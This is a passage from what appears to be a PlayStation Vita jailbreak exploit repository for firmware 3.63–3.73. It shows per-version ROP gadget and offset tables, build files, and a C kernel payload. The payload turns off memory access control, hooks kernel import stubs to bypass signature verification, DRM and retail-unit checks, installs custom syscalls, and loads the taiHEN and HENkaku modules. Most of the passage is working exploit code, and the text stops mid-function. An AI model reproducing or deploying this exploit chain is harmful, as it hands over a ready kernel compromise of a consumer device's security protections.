}, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, // TODO: 3.67 "3.68": { "SceWebKit": { gadgets: SceWebKit_gadgets_v368_v373, offsets: SceWebKit_offsets_v368_v373, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v363_v370, offsets: SceNetPs_gadgets_v363_v370, }, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, "3.69": { "SceWebKit": { gadgets: SceWebKit_gadgets_v368_v373, offsets: SceWebKit_offsets_v368_v373, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v363_v370, offsets: SceNetPs_gadgets_v363_v370, }, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, "3.70": { "SceWebKit": { gadgets: SceWebKit_gadgets_v368_v373, offsets: SceWebKit_offsets_v368_v373, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v363_v370, offsets: SceNetPs_gadgets_v363_v370, }, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, "3.71": { "SceWebKit": { gadgets: SceWebKit_gadgets_v368_v373, offsets: SceWebKit_offsets_v368_v373, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v371_v373, offsets: SceNetPs_offsets_v371_v373, }, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, "3.72": { "SceWebKit": { gadgets: SceWebKit_gadgets_v368_v373, offsets: SceWebKit_offsets_v368_v373, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v371_v373, offsets: SceNetPs_offsets_v371_v373, }, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, "3.73": { "SceWebKit": { gadgets: SceWebKit_gadgets_v368_v373, offsets: SceWebKit_offsets_v368_v373, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v371_v373, offsets: SceNetPs_offsets_v371_v373, }, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, }; ================================================ FILE: payload/LICENSE ================================================ The MIT License (MIT) Copyright (c) 2016 molecule Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: payload/Makefile ================================================ TARGET = payload OBJS = payload.o PREFIX = arm-vita-eabi CC = $(PREFIX)-gcc AS = $(PREFIX)-as OBJCOPY = $(PREFIX)-objcopy CFLAGS = -fPIE -fno-zero-initialized-in-bss -std=c99 -mcpu=cortex-a9 -Os -mthumb LDFLAGS = -T linker.x -nostartfiles -nostdlib -pie all: $(TARGET).bin %.bin: %.elf $(OBJCOPY) -S -O binary $^ $@ $(TARGET).elf: $(OBJS) $(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS) clean: @rm -f $(TARGET).bin $(TARGET).elf $(OBJS) ================================================ FILE: payload/linker.x ================================================ OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm") OUTPUT_ARCH(arm) ENTRY(_start) SECTIONS { .text : { *(.text.start) *(.text .text.* .gnu.linkonce.t.*) *(.sceStub.text.*) } .rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) } .data : { *(.data .data.* .gnu.linkonce.d.*) } .bss : { *(.bss .bss.* .gnu.linkonce.b.*) *(COMMON) } /DISCARD/ : { *(.interp) *(.dynsym) *(.dynstr) *(.hash) *(.dynamic) *(.comment) } } ================================================ FILE: payload/payload.c ================================================ #include // #include "bootstrap.h" // ALL 3.63-3.73 SPECIFIC SECTIONS ARE MARKED WITH "// BEGIN 3.63-3.73" #if DEBUG #define LOG(fmt, ...) debug_print("[%s:%d] " fmt "\n", __FUNCTION__, __LINE__, ##__VA_ARGS__) #else #define LOG(fmt, ...) #endif #define NULL ((void *)0) #define DACR_OFF(stmt) \ do { \ unsigned prev_dacr; \ __asm__ volatile( \ "mrc p15, 0, %0, c3, c0, 0 \n" \ : "=r" (prev_dacr) \ ); \ __asm__ volatile( \ "mcr p15, 0, %0, c3, c0, 0 \n" \ : : "r" (0xFFFF0000) \ ); \ stmt; \ __asm__ volatile( \ "mcr p15, 0, %0, c3, c0, 0 \n" \ : : "r" (prev_dacr) \ ); \ } while (0) #define INSTALL_HOOK(func, addr) \ do { \ unsigned *target; \ target = (unsigned*)(addr); \ *target++ = 0xE59FF000; /* ldr pc, [pc, #0] */ \ *target++; /* doesn't matter */ \ *target = (unsigned)func; \ } while (0) #define INSTALL_HOOK_THUMB(func, addr) \ do { \ unsigned *target; \ target = (unsigned*)(addr); \ *target++ = 0xC004F8DF; /* ldr.w ip, [pc, #4] */ \ *target++ = 0xBF004760; /* bx ip; nop */ \ *target = (unsigned)func; \ } while (0) #define INSTALL_RET(addr, ret) \ do { \ unsigned *target; \ target = (unsigned*)(addr); \ *target++ = 0xe3a00000 | ret; /* mov r0, #ret */ \ *target = 0xe12fff1e; /* bx lr */ \ } while (0) #define INSTALL_RET_THUMB(addr, ret) \ do { \ unsigned *target; \ target = (unsigned*)(addr); \ *target = 0x47702000 | ret; /* movs r0, #ret; bx lr */ \ } while (0) #define ENTER_SYSCALL(state) do { \ __asm__ volatile ("mrc p15, 0, %0, c13, c0, 3" : "=r" (state)); \ __asm__ volatile ("mcr p15, 0, %0, c13, c0, 3" :: "r" (state << 16) : "memory"); \ } while(0) #define EXIT_SYSCALL(state) do { \ __asm__ volatile ("mcr p15, 0, %0, c13, c0, 3" :: "r" (state) : "memory"); \ } while (0) typedef uint64_t u64_t; typedef uint32_t u32_t; typedef uint16_t u16_t; typedef uint8_t u8_t; typedef struct segment_info { int size; // this structure size (0x18) int perms; // probably rwx in low bits void *vaddr; // address in memory int memsz; // size in memory int flags; // meanig unknown int res; // unused? } segment_info_t; typedef struct SceModInfo { int size; //0 int UID; //4 int mod_attr; //8 char name[0x1C]; //0xC u32_t unk0; //0x28 void *module_start; //0x2C addr0 void *module_init; //0x30 addr1 void *module_stop; //0x34 addr2 void *exidx_start; //0x38 addr3 void *exidx_end; //0x3C addr4 void *addr5; //0x40 addr5 void *addr6; //0x44 addr6 void *module_top; //0x48 addr7 void *addr8; //0x4C addr8 void *addr9; //0x50 addr9 char filepath[0x100]; //0x54 segment_info_t segments[4]; //0x58 u32_t unk2; //0x1B4 } SceModInfo; //0x1B8 #define MOD_LIST_SIZE 0x80 typedef struct module_imports_2 { u16_t size; // 0x24 u16_t version; u16_t flags; u16_t num_functions; u32_t reserved1; u32_t lib_nid; char *lib_name; u32_t *func_nid_table; void **func_entry_table; u32_t unk1; u32_t unk2; } module_imports_2_t; typedef struct module_exports // thanks roxfan { u16_t size; // size of this structure; 0x20 for Vita 1.x u8_t lib_version[2]; // u16_t attribute; // ? u16_t num_functions; // number of exported functions u32_t num_vars; // number of exported variables u32_t num_tls_vars; // number of exported TLS variables? <-- pretty sure wrong // yifanlu u32_t module_nid; // NID of this specific export list; one PRX can export several names char *lib_name; // name of the export module u32_t *nid_table; // array of 32-bit NIDs for the exports, first functions then vars void **entry_table; // array of pointers to exported functions and then variables } module_exports_t; typedef struct module_info // thanks roxfan { u16_t modattribute; // ?? u16_t modversion; // always 1,1? char modname[27]; ///< Name of the module u8_t type; // 6 = user-mode prx? void *gp_value; // always 0 on ARM int ent_top; // beginning of the export list (sceModuleExports array) int ent_end; // end of same int stub_top; // beginning of the import list (sceModuleStubInfo array) int stub_end; // end of same u32_t module_nid; // ID of the PRX? seems to be unused int field_38; // unused in samples int field_3C; // I suspect these may contain TLS info int field_40; // int mod_start; // 44 module start function; can be 0 or -1; also present in exports int mod_stop; // 48 module stop function int exidx_start; // 4c ARM EABI style exception tables int exidx_end; // 50 int extab_start; // 54 int extab_end; // 58 } module_info_t; // 5c? int strcmp(const char *s1, const char *s2) { while (*s1 == *s2++) if (*s1++ == 0) return (0); return (*(unsigned char *)s1 - *(unsigned char *)--s2); } static inline int memcpy(void *dst, const void *src, int len) { char *dst1 = (char *)dst; const char *src1 = (const char *)src; while (len > 0) { *dst1++ = *src1++; len--; } return 0; } module_info_t * find_modinfo(uint32_t start_addr, const char *needle) { start_addr &= ~0xF; start_addr += 4; while (1) { if (strcmp((const char *)start_addr, needle) == 0) return (module_info_t *)(start_addr - 0x4); start_addr += 0x10; } return NULL; } void *find_export(module_info_t *mod, uint32_t nid) { if (!mod->ent_top) return NULL; for (unsigned ent = mod->ent_top; ent < mod->ent_end;) { module_exports_t *exports = (module_exports_t *)((unsigned int)mod + 0x5C + ent - mod->ent_top); for (int j = 0; j < exports->num_functions; ++j) if (exports->nid_table[j] == nid) return (void*)((u32_t *)exports->entry_table)[j]; ent += exports->size; } return NULL; } void *find_import(module_info_t *mod, uint32_t lnid, uint32_t fnid) { if (!mod->stub_top) return NULL; for (unsigned stub = mod->stub_top; stub < mod->stub_end;) { // Older fw versions use a different import format module_imports_2_t *imports = (module_imports_2_t *)((unsigned int)mod + 0x5C + stub - mod->stub_top); if (imports->size == sizeof(module_imports_2_t) && imports->lib_nid == lnid) { for (int j = 0; j < imports->num_functions; ++j) if (imports->func_nid_table[j] == fnid) return (void*)((u32_t *)imports->func_entry_table)[j]; } stub += imports->size; } return NULL; } static void (*debug_print)(char *fmt, ...) = 0; static int (*hook_resume_sbl_F3411881)() = 0; static int (*hook_resume_sbl_89CCDA2C)() = 0; static int (*hook_resume_sbl_BC422443)() = 0; static int (*ksceKernelGetModuleList)() = 0; static int (*ksceKernelGetModuleInfo)() = 0; static void (*ksceKernelCpuIcacheAndL2WritebackInvalidateRange)(uint32_t addr, uint32_t size) = 0; static int (*ksceKernelCpuDcacheWritebackRange)(uint32_t addr, uint32_t len) = 0; static int (*ksceIoOpen)(const char *, int, int) = 0; static int (*ksceIoWrite)(int, char *, int) = 0; static int (*ksceIoClose)(int) = 0; static int (*ksceAppMgrLaunchAppByPath)(const char *name, const char *cmd, int cmdlen, int, void *, void *) = 0; static int (*ksceKernelLoadModule)(const char *path, int flags, int *opt) = 0; static int (*ksceKernelStartModule)(int modid, int argc, void *args, int flags, void *opt, int *res) = 0; static void (*ksceKernelSetSyscall)(u32_t num, void *function) = 0; static int (*ksceKernelFreeMemBlock)(int blkid) = 0; static int (*ksceKernelFindMemBlockByAddr)(void *base, int) = 0; static int (*ksceKernelCreateThread)() = 0; static int (*ksceKernelStartThread)() = 0; static int (*ksceKernelExitDeleteThread)() = 0; static int (*ksceKernelGetMemBlockBase)(int uid, void **base) = 0; static int (*ksceKernelGetProcessInfo)(int pid, int *data) = 0; // context for the hooks static unsigned g_homebrew_decrypt = 0; static module_info_t *modulemgr_info = 0; static module_info_t *scenpdrm_info = 0; static module_info_t *appmgr_info = 0; static u32_t appmgr_code = 0; static u32_t appmgr_size = 0; static u32_t scenet_code = 0; static u32_t scenet_data = 0; // save the block id of our own memory static int g_rx_block = 0; static void *syscall_stub = 0; static void **syscall_table = 0; static int syscall_id = 0; // shell static int shell_pid = 0; int hook_SceSblAIMgrForDriver_D78B04A2(void) { return 1; } int hook_SceSblAIMgrForDriver_F4B98F66(void) { return 1; } int hook_sysroot_421EFC96(void) { return 0; } int hook_ksceSblAimgrIsCEX(void) { return 0; } int hook_ksceSblACMgrIsDevelopmentMode(void) { return 1; } // setup file decryption unsigned hook_sbl_F3411881(unsigned a1, unsigned a2, unsigned a3, unsigned a4) { LOG("sbl_F3411881(0x%x, 0x%x, 0x%x, 0x%x)", a1, a2, a3, a4); unsigned res = hook_resume_sbl_F3411881(a1, a2, a3, a4); LOG("sbl_F3411881: %x", res); unsigned *somebuf = (unsigned*)a4; u64_t authid; if (res == 0x800f0624 || res == 0x800f0616 || res == 0x800f0024 || (res >= 0x800f0b30 && res <= 0x800f0b3f)) { DACR_OFF( g_homebrew_decrypt = 1; ); // BEGIN 3.63-3.73 somebuf[42] = 0x40; // END 3.63-3.73 return 0; } else { DACR_OFF( g_homebrew_decrypt = 0; ); } return res; } // setup output buffer unsigned hook_sbl_89CCDA2C(unsigned a1, unsigned a2) { LOG("sbl_89CCDA2C(0x%x, 0x%x) hb=0x%x", a1, a2, g_homebrew_decrypt); if (g_homebrew_decrypt == 1) return 2; // always compressed! return hook_resume_sbl_89CCDA2C(a1, a2); } // decrypt unsigned hook_sbl_BC422443(unsigned a1, unsigned a2, unsigned a3) { LOG("sbl_BC422443(0x%x, 0x%x, 0x%x) hb=0x%x", a1, a2, a3, g_homebrew_decrypt); if (g_homebrew_decrypt == 1) return 0; return hook_resume_sbl_BC422443(a1, a2, a3); } static const char ur0_temp_path[] = "ur0:temp"; static int has_sigpatches = 0; static char old_sbl_F3411881[16] = {0}; static char old_sbl_89CCDA2C[16] = {0}; static char old_sbl_BC422443[16] = {0}; static char old_sblai_D78B04A2[16] = {0}; static char old_sblai_F4B98F66[16] = {0}; static char old_sysroot_421EFC96[16] = {0}; static char old_ksceSblAimgrIsCEX[16] = {0}; static char old_ksceSblACMgrIsDevelopmentMode[16] = {0}; static char old_ux0_data_path[9] = {0}; static void *ux0_data_path_addr = 0; void temp_pkgpatches(void) { void *addr; LOG("inserting temporary patches"); addr = find_import(scenpdrm_info, 0xFD00C69A, 0xD78B04A2); LOG("sblai_D78B04A2 stub: %p", addr); DACR_OFF( memcpy(old_sblai_D78B04A2, addr, 16); INSTALL_HOOK(hook_SceSblAIMgrForDriver_D78B04A2, addr); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("hooked sblai_D78B04A2"); addr = find_import(scenpdrm_info, 0xFD00C69A, 0xF4B98F66); LOG("sblai_F4B98F66 stub: %p", addr); DACR_OFF( memcpy(old_sblai_F4B98F66, addr, 16); INSTALL_HOOK(hook_SceSblAIMgrForDriver_F4B98F66, addr); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("hooked sblai_F4B98F66"); __asm__ volatile ("isb" ::: "memory"); } void remove_pkgpatches(void) { void *addr; LOG("removing temporary patches"); addr = find_import(scenpdrm_info, 0xFD00C69A, 0xD78B04A2); LOG("sblai_D78B04A2 stub: %p", addr); DACR_OFF( memcpy(addr, old_sblai_D78B04A2, 16); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("unhooked sblai_D78B04A2"); addr = find_import(scenpdrm_info, 0xFD00C69A, 0xF4B98F66); LOG("sblai_F4B98F66 stub: %p", addr); DACR_OFF( memcpy(addr, old_sblai_F4B98F66, 16); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("unhooked sblai_F4B98F66"); __asm__ volatile ("isb" ::: "memory"); } void temp_sigpatches(void) { void *addr; LOG("inserting temporary patches"); addr = find_import(modulemgr_info, 0x7ABF5135, 0xF3411881); LOG("sbl_F3411881 stub: %p\n", addr); DACR_OFF( memcpy(old_sbl_F3411881, addr, 16); INSTALL_HOOK(hook_sbl_F3411881, addr); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("hooked sbl_F3411881"); addr = find_import(modulemgr_info, 0x7ABF5135, 0x89CCDA2C); LOG("sbl_89CCDA2C stub: %p", addr); DACR_OFF(memcpy(old_sbl_89CCDA2C, addr, 16)); DACR_OFF( memcpy(old_sbl_89CCDA2C, addr, 16); INSTALL_HOOK(hook_sbl_89CCDA2C, addr); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("hooked sbl_89CCDA2C"); addr = find_import(modulemgr_info, 0x7ABF5135, 0xBC422443); LOG("sbl_BC422443 stub: %p", addr); DACR_OFF( memcpy(old_sbl_BC422443, addr, 16); INSTALL_HOOK(hook_sbl_BC422443, addr); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("hooked sbl_BC422443"); addr = find_import(appmgr_info, 0x2ED7F97A, 0x421EFC96); LOG("sysroot_421EFC96 stub: %p", addr); DACR_OFF( memcpy(old_sysroot_421EFC96, addr, 16); INSTALL_HOOK(hook_sysroot_421EFC96, addr); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("hooked sysroot_421EFC96"); // To bypass 0x8080004C error on FW 3.60+ addr = find_import(appmgr_info, 0xFD00C69A, 0xD78B04A2); LOG("ksceSblAimgrIsCEX stub: %p", addr); if (addr) { DACR_OFF( memcpy(old_ksceSblAimgrIsCEX, addr, 16); INSTALL_HOOK(hook_ksceSblAimgrIsCEX, addr); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("hooked ksceSblAimgrIsCEX"); } // To bypass 0x80020012 error on FW 3.70+ addr = find_import(appmgr_info, 0x9AD8E213, 0xE87D1777); LOG("ksceSblACMgrIsDevelopmentMode stub: %p", addr); if (addr) { DACR_OFF( memcpy(old_ksceSblACMgrIsDevelopmentMode, addr, 16); INSTALL_HOOK(hook_ksceSblACMgrIsDevelopmentMode, addr); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("hooked ksceSblACMgrIsDevelopmentMode"); } DACR_OFF( memcpy(old_ux0_data_path, ux0_data_path_addr, sizeof(old_ux0_data_path)); memcpy(ux0_data_path_addr, ur0_temp_path, sizeof(ur0_temp_path)); ); LOG("hooked ux0:data path"); DACR_OFF(has_sigpatches = 1); __asm__ volatile ("isb" ::: "memory"); } void remove_sigpatches(void) { void *addr; if (!has_sigpatches) return; LOG("removing temporary patches"); addr = find_import(modulemgr_info, 0x7ABF5135, 0xF3411881); LOG("sbl_F3411881 stub: %p", addr); DACR_OFF( memcpy(addr, old_sbl_F3411881, 16); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("unhooked sbl_F3411881"); addr = find_import(modulemgr_info, 0x7ABF5135, 0x89CCDA2C); LOG("sbl_89CCDA2C stub: %p", addr); DACR_OFF( memcpy(addr, old_sbl_89CCDA2C, 16); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("unhooked sbl_89CCDA2C"); addr = find_import(modulemgr_info, 0x7ABF5135, 0xBC422443); LOG("sbl_BC422443 stub: %p", addr); DACR_OFF( memcpy(addr, old_sbl_BC422443, 16); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("unhooked sbl_BC422443"); addr = find_import(appmgr_info, 0x2ED7F97A, 0x421EFC96); LOG("sysroot_421EFC96 stub: %p", addr); DACR_OFF( memcpy(addr, old_sysroot_421EFC96, 16); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("unhooked sysroot_421EFC96"); addr = find_import(appmgr_info, 0xFD00C69A, 0xD78B04A2); LOG("ksceSblAimgrIsCEX stub: %p", addr); if (addr) { DACR_OFF( memcpy(addr, old_ksceSblAimgrIsCEX, 16); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("unhooked ksceSblAimgrIsCEX"); } addr = find_import(appmgr_info, 0x9AD8E213, 0xE87D1777); LOG("ksceSblACMgrIsDevelopmentMode stub: %p", addr); DACR_OFF( memcpy(addr, old_ksceSblACMgrIsDevelopmentMode, 16); ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20); ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20); ); LOG("unhooked ksceSblACMgrIsDevelopmentMode"); DACR_OFF( memcpy(ux0_data_path_addr, old_ux0_data_path, sizeof(old_ux0_data_path)); ); LOG("unhooked ux0:data path"); DACR_OFF(has_sigpatches = 0); __asm__ volatile ("isb" ::: "memory"); } static void find_ux0_data_path_addr() { char *from = (char *)(appmgr_code + appmgr_info->stub_top); char *to = (char *)(appmgr_code + appmgr_size); while (strcmp(from, "ux0:data") != 0 && from < (to - 8)) from += 4; DACR_OFF(ux0_data_path_addr = from); } static int get_shell_pid(void) { unsigned data[0xE8/4]; int ret, ppid, pppid; data[0] = sizeof(data); ret = ksceKernelGetProcessInfo(0, data); ppid = data[5]; LOG("ret: %x, ppid: %x", ret, ppid); ret = ksceKernelGetProcessInfo(ppid, data); pppid = data[5]; LOG("ret: %x, shell_pid: %x", ret, pppid); return pppid; } int load_taihen(void) { int state; int opt, taiid, modid, ret, result; ENTER_SYSCALL(state); // load taiHEN opt = 4; taiid = ksceKernelLoadModule("ur0:tai/taihen.skprx", 0, &opt); LOG("LoadTaiHEN: 0x%08X", taiid); remove_sigpatches(); LOG("Removed temp patches"); result = 0; ret = ksceKernelStartModule(taiid, 0, NULL, 0, NULL, &result); LOG("StartTaiHEN: 0x%08X, 0x%08X", ret, result); if (ret == 0) { ret = result; } if (ret < 0) { goto end; } // load henkaku kernel modid = ksceKernelLoadModule("ur0:tai/henkaku.skprx", 0, &opt); LOG("LoadHENKaku kernel: 0x%08X", modid); result = 0; ret = ksceKernelStartModule(modid, 4, &shell_pid, 0, NULL, &result); LOG("StartHENkaku kernel: 0x%08X, 0x%08X", ret, result); if (ret == 0) { ret = result; } if (ret < 0) { goto end; } end: EXIT_SYSCALL(state); return ret; } static void __attribute__((noinline, naked)) free_and_exit(int blk, void *free, void *lr) { // now free the executable memory. this frees our current function so we have // to ensure we do not return here __asm__ volatile ("mov lr, %0\n" "bx r1" :: "r" (lr) : "lr"); } void cleanup_memory(void) { void *lr; __asm__ volatile ("mov %0, lr" : "=r" (lr)); LOG("calling cleanup from %x", lr); // TODO: Delete bootstrap.self (#37) // remove syscalls LOG("removing syscalls"); ksceKernelSetSyscall(syscall_id + 0, syscall_stub); ksceKernelSetSyscall(syscall_id + 1, syscall_stub); ksceKernelSetSyscall(syscall_id + 2, syscall_stub); ksceKernelSetSyscall(syscall_id + 3, syscall_stub); LOG("freeing executable memory"); return free_and_exit(g_rx_block, ksceKernelFreeMemBlock, lr); } /* Install path and arguments */ const char launch_path_ur[] = "ur0:/temp/bootstrap.self"; const char launch_path_ux[] = "ux0:/data/bootstrap.self"; const char launch_args[] = "\0\0\0\0-nonsuspendable\0-livearea_off\0"; int thread_main(int args, void *argp) { char real_args[sizeof(launch_args)]; int opt[52/4]; int ctx[16/4]; const char *launch_path; int fd; int ret; void *lr; __asm__ volatile ("mov %0, lr" : "=r" (lr)); LOG("Main kernel thread, called from %x!", lr); memcpy(real_args, launch_args, sizeof(launch_args)); *(uint16_t *)&real_args[0] = syscall_id; LOG("Loading bootstrap to system"); launch_path = launch_path_ux; ret = fd = ksceIoOpen(launch_path, 0x603, 0x6); LOG("ux ksceIoOpen: %x", fd); if (fd < 0) { launch_path = launch_path_ur; fd = ksceIoOpen(launch_path, 0x603, 0x6); LOG("ur ksceIoOpen: %x", fd); } if (fd >= 0) { // ret = ksceIoWrite(fd, bootstrap_self, bootstrap_self_len); LOG("ksceIoWrite: %x", ret); ksceIoClose(fd); for (int i = 0; i < sizeof(opt)/4; i++) { opt[i] = 0; } opt[0] = sizeof(opt); LOG("Launching bootstrap..."); ret = ksceAppMgrLaunchAppByPath(launch_path, real_args, sizeof(launch_args), 0, opt, NULL); LOG("ksceAppMgrLaunchAppByPath: %x", ret); } if (ret < 0) { LOG("unable to write bootstrap!"); remove_sigpatches(); remove_pkgpatches(); __asm__ volatile ("mov lr, %0\n" "mov r0, %1\n" "bx r0\n" :: "r" (lr), "r" (cleanup_memory) : "r0", "lr"); LOG("should not be here!"); while (1); } LOG("done with kernel thread!"); return 0; } int add_syscalls(void) { ksceKernelSetSyscall(syscall_id + 0, load_taihen); ksceKernelSetSyscall(syscall_id + 1, remove_pkgpatches); ksceKernelSetSyscall(syscall_id + 2, remove_sigpatches); ksceKernelSetSyscall(syscall_id + 3, cleanup_memory); return 0; } void resolve_imports(unsigned sysmem_base) { module_info_t *sysmem_info = find_modinfo(sysmem_base, "SceSysmem"); u32_t modulemgr_base; // BEGIN 3.63-3.73 specific offsets here, used to find Modulemgr from just sysmem base LOG("sysmem base: 0x%08x", sysmem_base); void *sysmem_data = (void*)(*(u32_t*)((u32_t)(sysmem_base) + 0x26a28) - 0xA0); LOG("sysmem data base: 0x%08x", sysmem_data); modulemgr_base = (*(u32_t*)((u32_t)(sysmem_data) + 0x438c) - 0x40); LOG("modulemgr base: 0x%08x", modulemgr_base); // END 3.63-3.73 specific offsets DACR_OFF(modulemgr_info = find_modinfo((u32_t)modulemgr_base, "SceKernelModulemgr")); LOG("modulemgr modinfo: 0x%08x", modulemgr_info); DACR_OFF( ksceKernelGetModuleList = find_export(modulemgr_info, 0xB72C75A4); ksceKernelGetModuleInfo = find_export(modulemgr_info, 0xDAA90093); ); LOG("ksceKernelGetModuleList: %08x", ksceKernelGetModuleList); LOG("ksceKernelGetModuleInfo: %08x", ksceKernelGetModuleInfo); int *modlist[MOD_LIST_SIZE]; int modlist_records; SceModInfo info; int ret; modlist_records = MOD_LIST_SIZE; ret = ksceKernelGetModuleList(0x10005, 0x7FFFFFFF, 1, modlist, &modlist_records); LOG("sceKernelGetModuleList() returned 0x%x", ret); LOG("modlist_records: %d", modlist_records); module_info_t *threadmgr_info = 0, *sblauthmgr_info = 0, *processmgr_info = 0, *display_info = 0, *iofilemgr_info = 0; u32_t modulemgr_data = 0; for (int i = 0; i < modlist_records; ++i) { info.size = sizeof(info); ret = ksceKernelGetModuleInfo(0x10005, modlist[i], &info); if (strcmp(info.name, "SceKernelThreadMgr") == 0) { threadmgr_info = find_modinfo((u32_t)info.segments[0].vaddr, "SceKernelThreadMgr"); } if (strcmp(info.name, "SceSblAuthMgr") == 0) { sblauthmgr_info = find_modinfo((u32_t)info.segments[0].vaddr, "SceSblAuthMgr"); } if (strcmp(info.name, "SceNpDrm") == 0) { DACR_OFF(scenpdrm_info = find_modinfo((u32_t)info.segments[0].vaddr, "SceNpDrm")); } if (strcmp(info.name, "SceNetPs") == 0) { DACR_OFF(scenet_code = (u32_t)info.segments[0].vaddr); DACR_OFF(scenet_data = (u32_t)info.segments[1].vaddr); } if (strcmp(info.name, "SceKernelModulemgr") == 0) { modulemgr_data = (u32_t)info.segments[1].vaddr; } if (strcmp(info.name, "SceAppMgr") == 0) { DACR_OFF(appmgr_info = find_modinfo((u32_t)info.segments[0].vaddr, "SceAppMgr")); DACR_OFF(appmgr_code = 